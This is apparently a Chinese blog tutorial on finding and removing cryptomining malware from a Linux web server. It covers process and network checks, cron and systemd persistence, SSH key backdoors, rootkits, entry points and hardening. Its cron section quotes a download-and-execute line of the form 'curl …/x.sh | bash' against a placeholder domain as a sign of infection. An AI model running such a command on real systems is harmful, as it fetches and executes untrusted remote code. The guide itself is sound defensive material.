网站突然变慢,打开宝塔一看 CPU 常年 100%,但访问量一点没涨。这种情况十有八九不是”网站优化问题”,是你的服务器在给别人挖矿。
挖矿木马不偷你数据、不删你网站,它只干一件事:占用你的 CPU 算力帮攻击者赚钱。所以很多人的服务器被挖矿挖了半年都不知道,只是觉得”网站怎么越来越慢”。
下面是真实的排查顺序,从最表层的现象一路查到持久化机制。
动作 1:确认是不是真的 CPU 问题
top
看三件事:
- %CPU 谁最高
- 进程名是不是眼熟(
php-fpm、nginx、mysqld是正常的) - 看 %wa(iowait)——如果 CPU 不高但 wa 很高,那是磁盘 I/O 瓶颈,不是挖矿,直接跳到排查数据库和日志
如果看到一个名字奇怪的进程占了大半 CPU,比如 kworker/0:1 变异版、systemd-network(注意:真的 systemd 不叫这名)、bash、./-c,或者干脆是一串随机字母,基本实锤。
动作 2:看它到底在跟谁通信
# 先看进程 PID,然后查它的网络连接 netstat -antp | grep 可疑PID # 或 ss -antp | grep 可疑PID
挖矿木马必须连接矿池。看到连到境外某 IP 的 3333、8080、14444、45700 这类端口,或者一个明显是域名的地址,那就是矿池地址。
把这个 IP 记下来,待会儿要封。
动作 3:定位木马文件路径
ls -l /proc/可疑PID/exe
这条命令直接告诉你这个进程的可执行文件在哪。常见藏匿点:
/tmp/、/var/tmp/、/dev/shm/——最常藏的地方/root/.ssh/下面- 伪装成系统文件名,比如
/usr/lib/systemd/systemd-udevd
拿到路径后:先 cp 一份到别处留证,再 kill。
cp /tmp/可疑文件 /root/evidence-malware-$(date +%F) kill -9 可疑PID
直接删文件的话,很多木马会通过守护进程立刻重新生成。
动作 4:查定时任务(挖矿能复活的根本原因)
这是最关键的一步。很多人 kill 完进程、删完文件,第二天又满了——因为木马在 cron 里留了”复活机制”。
crontab -l # 当前用户 crontab -l -u root # root 的 ls -la /etc/cron.d/ # 系统级 cat /etc/crontab ls -la /var/spool/cron/ # 各用户的实际文件
可疑特征:
- 任务内容是
curl http://某个域名/x.sh | bash这种下载即执行的 - 指向
/tmp、/dev/shm下的脚本 - 每几分钟执行一次(挖矿守护进程要保活)
注意:有些木马会写进 /etc/cron.d/ 而不是用户 crontab,只看 crontab -l 的人会漏掉。
动作 5:查 systemd 服务和启动项
systemctl list-unit-files --type=service | grep enabled ls -la /etc/systemd/system/
看到名字奇怪的 enabled 服务,比如 networkmanager.service、dbus-deamon.service(拼错的就是假的),看它的 ExecStart 指向哪。
cat /etc/systemd/system/可疑服务名.service
处理:systemctl stop 名字 && systemctl disable 名字,然后删文件。
动作 6:查 SSH 后门(攻击者为什么能反复进来)
cat /root/.ssh/authorized_keys
看里面有没有你不认识的公钥。攻击者拿到一次权限后,第一件事往往是往这里塞自己的 key,这样你改密码也没用,他随时能进来。
另外检查 SSH 配置有没有被动过:
grep -E "PermitRootLogin|PasswordAuthentication|Port" /etc/ssh/sshd_config
动作 7:查系统命令是否被替换
高级一点的木马会替换 ps、top、netstat 这些命令,让你查不到它(rootkit)。
验证方法:看命令文件大小是否异常,或者用 busybox 替代执行:
ls -lh /bin/ps /bin/top /bin/netstat busybox ps aux # 如果 busybox 能看到而 ps 看不到,就是被替换了
动作 8:找出入侵入口(不做这步一定会被二次入侵)
木马不会凭空出现。常见入口就这几个,逐个排查:
| 入口 | 排查方法 |
|---|---|
| 弱密码 SSH 爆破 | grep "Failed password" /var/log/secure | wc -l 数量巨大就是被爆破成功过 |
| 网站漏洞上传后门 | 查 wp-content/uploads 下的 php、查 web 日志里可疑的 POST 请求 |
| Redis 未授权访问 | redis-cli ping 不需要密码就能连 = 高危,挖矿木马最爱 |
| 宝塔面板弱密码 | 面板没改默认端口 + 弱密码,被批量扫到 |
| 过期插件/主题漏洞 | 后台看有没有长期没更新的插件 |
Web 日志查入侵痕迹(以 nginx 为例):
grep -E "POST.*\.php" /www/wwwlogs/你的站点.log | grep -v wp-admin | tail -50
看有没有对你没装过的 php 文件的 POST 请求,或者 uploads 目录下 php 文件的访问记录。
动作 9:堵住出口,防止复活
# 封掉矿池 IP iptables -A OUTPUT -d 矿池IP -j DROP # 禁止 /tmp 下执行程序(临时止血) mount -o remount,noexec,suid /tmp
另外把前面发现的下载源域名也写进 /etc/hosts 指向 127.0.0.1,防止它重新下载。
动作 10:清理 + 加固
按顺序做完:
- 删除所有发现的恶意文件、定时任务、systemd 服务、SSH 公钥
- 改掉所有密码(root、面板、数据库、FTP),并改用 SSH 密钥登录、关闭密码登录
- 给
/tmp、/dev/shm、/var/tmp挂载noexec - Redis 设密码 + 只监听 127.0.0.1
- 更新系统和应用:
yum update -y或apt update && apt upgrade -y - 装个入侵检测(比如
chkrootkit、rkhunter)跑一遍
什么时候别自己折腾
两种情况建议直接重装系统、从备份恢复网站:
- 发现了 rootkit(系统命令被替换)——你不确定还有没有其他后门,肉眼看不全
- 你不确定入侵入口——没找到入口就清理,等于把门锁换了但窗户还开着
重装 1 小时,反复被入侵能折腾你一个月。这笔账很好算。
最后:怎么让它不发生
被挖矿的服务器,99% 是同一个原因:SSH 开着密码登录,且密码不够强。
改成密钥登录 + 关闭密码登录,就能挡掉 90% 的自动化攻击。剩下的靠:面板改端口、Redis 设密码、插件及时更新。这三件事加起来不到一小时,能省掉后面所有麻烦。